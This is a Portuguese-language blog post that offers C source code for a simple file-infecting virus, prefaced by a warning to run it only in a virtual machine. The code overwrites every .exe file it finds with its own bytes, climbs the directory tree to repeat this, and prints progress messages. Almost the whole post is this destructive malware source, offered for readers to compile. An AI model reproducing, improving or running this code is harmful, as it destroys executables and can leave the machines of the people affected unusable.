LEIA COM ATENÇÃO
Nem preciso dizer que esse código é perigoso. Sugiro que ele seja executado (caso você consiga compilá-lo) em uma máquina virtual. Caso você insista em executá-lo em sua máquina, saiba que poderá perder a instalação do Windows e tornar sua máquina inoperante. Não me responsabilizo por quaisquer danos que você cause à sua máquina executando quaisquer códigos tenha neste blog.#include<stdio.h> #include<dir.h> #include<dos.h> void main(int argc,char *argv[]) { int bytes,i,done; FILE *virus,*host; struct ffblk *f; char buffer[512];
do { done=findfirst("*.exe",f,0); while(!done) { virus=fopen(argv[0],"rb");//abrir o vírus em modo de leitura host=fopen(f->ff_name,"rb+");//abra o arquivo host no r / w modo for(;fread(buffer,512,1,virus)==1;) fwrite(buffer,512,1,host); fclose(host); fseek(virus,0,0);//pontos para o início do vírus printf("infecting %s",f->ff_name); done=findnext(f); } } while(!chdir("..")); printf("Infecção completa...\n"); }
Nenhum comentário:
Postar um comentário
Observação: somente um membro deste blog pode postar um comentário.